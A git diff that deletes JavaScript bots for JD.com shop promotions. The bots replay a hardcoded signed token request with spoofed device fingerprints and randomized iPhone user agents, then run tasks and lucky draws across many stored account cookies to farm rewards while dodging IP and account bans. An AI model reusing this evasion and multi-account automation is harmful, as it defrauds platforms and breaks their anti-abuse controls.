{ - $.Token = '' - $.Pin = '' - lz_jdpin_token_cookie = '' - await takePostRequest('isvObfuscator'); - await getCk() - await takePostRequest('getSimpleActInfoVo'); - await takePostRequest('getMyPing'); - await takePostRequest('accessLogWithAD'); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await takePostRequest('getUserInfo'); - await takePostRequest('activityContent'); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await takePostRequest('helpFriend'); - $.taskList = [] - $.chance = 0 - await takePostRequest('myInfo'); - console.log(`当前有${$.chance}次机会`) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - let flag = 0 - for(let i in $.taskList || []){ - $.oneTask = $.taskList[i] - console.log(`${$.oneTask.taskName} ${$.oneTask.curNum}/${$.oneTask.maxNeed}`) - $.oneProduct = '' - let num = $.oneTask.maxNeed - $.oneTask.curNum - if(num == 0 || $.oneTask.taskName.indexOf('邀请助力') > -1) continue - flag = 1 - if($.oneTask.taskType == 'followsku' || $.oneTask.taskType == 'scansku' || $.oneTask.taskType == 'add2cart'){ - $.ProductList = [] - $.runFalag = true - $.getProductType = 3 - if($.oneTask.taskType == 'scansku'){ - $.getProductType = 4 - }else if($.oneTask.taskType == 'add2cart'){ - if(guaunknownTask_addSku+"" != "true" ) console.log('\n如需加购请设置环境变量[guaunknownTask_addSku4]为"true"\n'); - if(guaunknownTask_addSku+"" != "true" ) continue; - $.getProductType = 1 - } - if(num > 0) await takePostRequest('getProduct'); - for(let p in $.ProductList){ - $.oneProduct = $.ProductList[p] - if($.oneProduct.taskDone !== true){ - console.log(`[${$.oneTask.taskName}] ${$.oneProduct.name}`) - await takePostRequest('doTask'); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.runFalag) break - } - } - }else if($.oneTask.taskType == 'dailysign'){ - await takePostRequest('doTask'); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - }else if($.oneTask.taskType == 'scanurl'){ - console.log(`[${$.oneTask.taskName}] ${$.toObj($.oneTask.params,'') && $.toObj($.oneTask.params).name || ''}`) - await takePostRequest('doTask'); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - } - if(flag == 1){ - await takePostRequest('myInfo'); - console.log(`当前有${$.chance}次机会`) - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - } - $.bean = 0 - for(i=1;$.chance--;i++){ - console.log(`第${i}次抽奖`) - await takePostRequest('luckyDraw'); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(i >= 8){ - console.log('抽奖次数太多,请再此执行脚本\n后面基本没有奖励了,可以明天再来抽奖') - break - } - } - if($.bean > 0){ - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` - } - await takePostRequest('myPrize'); - await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) - if($.hotFlag){ - console.log('该账号可能是黑号') - return - } - console.log($.actorUuid) - console.log(`当前助力:${$.shareUuid}`) - if($.index == 1){ - $.shareUuid = $.actorUuid - console.log(`后面的号都会助力:${$.shareUuid}`) - } - } catch (e) { - console.log(e) - } -} - -async function takePostRequest(type) { - if($.hotFlag) return - let url = ''; - let body = ``; - let method = 'POST' - switch (type) { - case 'isvObfuscator': - url = `https://api.m.jd.com/client.action?functionId=isvObfuscator`; - body = `area=16_1315_1316_53522&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzkj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167814&client=apple&clientVersion=10.1.4&d_brand=apple&d_model=iPhone8%2C1&eid=eidId10b812191seBCFGmtbeTX2vXF3lbgDAVwQhSA8wKqj6OA9J4foPQm3UzRwrrLdO23B3E2wCUY/bODH01VnxiEnAUvoM6SiEnmP3IPqRuO%2By/%2BZo&isBackground=N&joycious=63&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=2f7578cb634065f9beae94d013f172e197d62283&osVersion=13.1.2&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=49fb2800eed6700247d65315fa87b0ea&st=1631445914013&sv=121&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJJg2e1%2BOm%2BnR1ghsACkwYaC5T8MBzacXL6lGgaG3tN/7VfZQ0cWxakYsUC/7HByKaKmZk3lGgs%2BN5SLVQqcT1dHwmltRmrJSASnmzmKt1eAZIDPljSoe6HXngZ0%2BTDeBQhdhlfx4zdJqC287%2BIyA%2BTp5qKeb%2BpuZA8KOI8jvMLJAVVfbhSV2SRg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b`; - break; - case 'getSimpleActInfoVo': - url = `https://lzkj-isv.isvjcloud.com/customer/getSimpleActInfoVo`; - body = `activityId=${$.activityId}`; - break; - case 'getMyPing': - url = `https://lzkj-isv.isvjcloud.com/customer/getMyPing`; - body = `userId=${$.shopId || $.venderId || ''}&token=${$.Token}&fromType=APP`; - break; - case 'accessLogWithAD': - url = `https://lzkj-isv.isvjcloud.com/common/accessLogWithAD`; - let pageurl = `https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - body = `venderId=${$.shopId || $.venderId || ''}&code=2001&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - break; - case 'getUserInfo': - url = `https://lzkj-isv.isvjcloud.com/wxActionCommon/getUserInfo`; - body = `pin=${encodeURIComponent($.Pin)}`; - break; - case 'activityContent': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/activityContent`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - break; - case 'helpFriend': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/helpFriend`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&shareUuid=${$.shareUuid}` - break; - case 'myInfo': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/myInfo`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - break; - case 'getProduct': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/getProduct`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&type=${$.getProductType}` - break; - case 'doTask': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/doTask`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&taskId=${$.oneTask.taskType == 'scanurl' && $.oneTask.taskId || $.oneTask.taskType || ''}¶m=${$.oneProduct.skuId || ''}` - break; - case 'luckyDraw': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/draw/luckyDraw`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - break; - case 'myPrize': - url = `https://lzkj-isv.isvjcloud.com/drawCenter/myPrize`; - body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body, method); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - setActivityCookie(resp) - if (err) { - if(resp && resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err,err)}`) - console.log(`${type} API请求失败,请检查网路重试`) - } else { - dealReturn(type, data); - } - } catch (e) { - // console.log(data); - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - let res = '' - try { - if(type != 'accessLogWithAD'){ - res = JSON.parse(data); - } - } catch (e) { - console.log(`${type} 执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'isvObfuscator': - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - break; - case 'getSimpleActInfoVo': - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'getMyPing': - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'getUserInfo': - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'activityContent': - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'helpFriend': - console.log(`${type} ${data}`) - break; - case 'myInfo': - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data){ - $.chance = res.data.chance || 0 - $.taskList = res.data.taskList || [] - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'getProduct': - if(typeof res == 'object' && res.result && res.result === true){ - if(res.data){ - $.ProductList = res.data || [] - } - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'doTask': - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data == 'number' && res.data > 0) console.log(`获得${res.data}次机会`) - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'luckyDraw': - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data == 'object'){ - let msg = res.data.drawOk == true && (res.data.drawInfoType == 6 && res.data.name || '') || '空气💨' - if(msg){ - $.bean += msg.match(/\d+/) && Number(msg.match(/\d+/)[0]) || 0 - } - console.log(`抽奖获得:${msg || data}`) - }else{ - console.log(`${type} ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - case 'myPrize': - if(typeof res == 'object' && res.result && res.result === true){ - if(typeof res.data == 'object'){ - console.log('我的奖品:') - let num = 0 - for(let i of res.data || []){ - if(i.prizeName.indexOf('京豆') > -1){ - num += i.prizeName.match(/\d+/) && Number(i.prizeName.match(/\d+/)[0]) || 0 - }else{ - console.log(` ${i.prizeName || i}`) - } - } - console.log(` ${num}京豆\n`) - }else{ - console.log(`${type} ${data}`) - } - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - - case 'accessLogWithAD': - break; - - default: - console.log(`${type}-> ${data}`); - } - if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage.indexOf('火爆') >-1 ){ - $.hotFlag = true - } - } -} - -function getPostRequest(url, body, method="POST") { - let ck = cookie - let host = '' - let headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - 'Cookie': `${ck}`, - "X-Requested-With": "XMLHttpRequest", - "User-Agent": `${UA || $.UA}` , - } - if(url.indexOf('lzkj-isv.isvjcloud.com') > -1){ - headers["Referer"] = `https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - headers["Origin"] = `https://lzkj-isv.isvjcloud.com` - headers["Cookie"] = `${lz_jdpin_token_cookie && lz_jdpin_token_cookie || ''}${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}${activityCookie}` - } - if(method == "POST"){ - headers["Content-Type"] = "application/x-www-form-urlencoded" - headers["Accept"] = "application/json" - } - // console.log(headers) - // console.log(headers.Cookie) - return {url: url, method: method, headers: headers, body: body, timeout:30000}; -} - -function setActivityCookie(resp){ - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let lz_jdpin_token = '' - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - // console.log(name.replace(/ /g,'')) - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - if(name.indexOf('lz_jdpin_token=')>-1) lz_jdpin_token = ''+name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - if(lz_jdpin_token) lz_jdpin_token_cookie = lz_jdpin_token -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - followRedirect:false, - headers: { - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - setActivityCookie(resp) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_UnknownTask5.js b/backUp/gua_UnknownTask5.js deleted file mode 100644 index 8e19cac..0000000 --- a/backUp/gua_UnknownTask5.js +++ /dev/null @@ -1,615 +0,0 @@ -/* - -https://3.cn/102QN9l-6 -跑此脚本需要添加依赖文件[sign_graphics_validate.js] -———————————————— -如需开卡请设置环境变量[guaunknownTask_card5]为"true" - -如需加购请设置环境变量[guaunknownTask_addSku5]为"true" - -27 11 13-23 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask5.js -*/ -const $ = new Env('酒水中秋礼盒'); -const Faker=require('./sign_graphics_validate.js') -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaunknownTask_card5 ? process.env.guaunknownTask_card5 : `${guaopencard}`) : ($.getdata('guaunknownTask_card5') ? $.getdata('guaunknownTask_card5') : `${guaopencard}`); -guaopencard = $.isNode() ? (process.env.guaunknownTask_card_All ? process.env.guaunknownTask_card_All : `${guaopencard}`) : ($.getdata('guaunknownTask_card_All') ? $.getdata('guaunknownTask_card_All') : `${guaopencard}`); -let guaunknownTask_addSku = "false" -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku5 ? process.env.guaunknownTask_addSku5 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku5') ? $.getdata('guaunknownTask_addSku5') : `${guaunknownTask_addSku}`); -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); -allMessage = "" -message = "" -let UA = '' -let configCode = '3cfe11b8a4c7460aac77c24a32020e75' -let friendPin = '1SxWKHmezsdVriTLjOkqyoVI+useK94bdK5BQ6zjgl4=' -let toFriend = 0 -$.temp = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - $.shareArr = [] - console.log(`入口:\nhttps://3.cn/102QN9l-6`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.index == 1 && !$.pin) break - if($.outFlag) break - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - toFriend = 0 - $.bean = 0 - if(!$.fp || !$.eid){ - message += `获取活动信息失败!\n` - return - } - await getActivity() - $.taskList = [] - $.pin = '' - await getMyTask(1) - let friendCount = 0 - for(let i in $.taskList || []){ - $.oneTask = $.taskList[i] - let title = '' - switch ($.oneTask.taskType) { - case 2: - title = '关注' - break; - case 3: - title = '浏览' - break; - case 4: - title = '加购' - break; - case 8: - title = '邀请' - break; - case 11: - title = '开通会员' - break; - } - console.log(`${title} ${$.oneTask.finishCount}/${$.oneTask.itemCount}`) - let num = $.oneTask.itemCount - $.oneTask.finishCount - if($.oneTask.taskType == 8){ - friendCount = $.oneTask.finishCount - continue - } - if(num <= 0) continue - if($.oneTask.taskType == 4 && guaopencard+"" != "true") console.log('如需开卡请设置环境变量[guaunknownTask_card5]为"true"') - if($.oneTask.taskType == 4 && guaopencard+"" != "true") continue - if($.oneTask.taskType == 11 && guaopencard+"" != "true") console.log('如需开卡请设置环境变量[guaunknownTask_card5]为"true"') - if($.oneTask.taskType == 11 && guaopencard+"" != "true") continue - let taskNum = $.oneTask.itemCount - $.oneTask.finishCount - if([2,3,4,11].includes($.oneTask.taskType)){ - $.itemId = $.oneTask.taskItem.itemId - let task = [] - let onetask = [] - do{ - taskNum--; - task = [] - if($.oneTask.taskType == 11) await join($.itemId) - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - await takePostRequest('doTask'); - $.itemId = '' - await $.wait(parseInt(Math.random() * 2000 + 1000 * $.oneTask.viewTime || 2, 10)) - if($.oneTask.taskType != 3){ - task = await getMyTask(2) - if(task.length > 0){ - onetask = task.filter((x) => x.taskType == $.oneTask.taskType && x.finishCount < x.itemCount && x.taskItem.itemId != $.oneTask.taskItem.itemId) - if(onetask.length > 0){ - for(let k of onetask || []){ - if(k.taskType == $.oneTask.taskType){ - $.itemId = k.taskItem.itemId - } - } - } - } - } - }while ((($.itemId != '' && $.oneTask.taskType != 3) || ($.itemId == '' && $.oneTask.taskType == 3)) && taskNum > 0) - } - } - $.remainPoints = 0 - await getActivity() - - let count = parseInt($.remainPoints/100, 10) - console.log(`心动值:${$.remainPoints} 可抽奖次数:${count}`) - for(j=1;count-- && true;j++){ - console.log(`第${j}次`) - await draw() - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - } - $.totalPoints = 0 - $.totalBeans = 0 - await getMyRewards() - console.log(`当前剩余:${$.totalPoints}心动值 累计获得:${$.totalBeans}京豆`) - 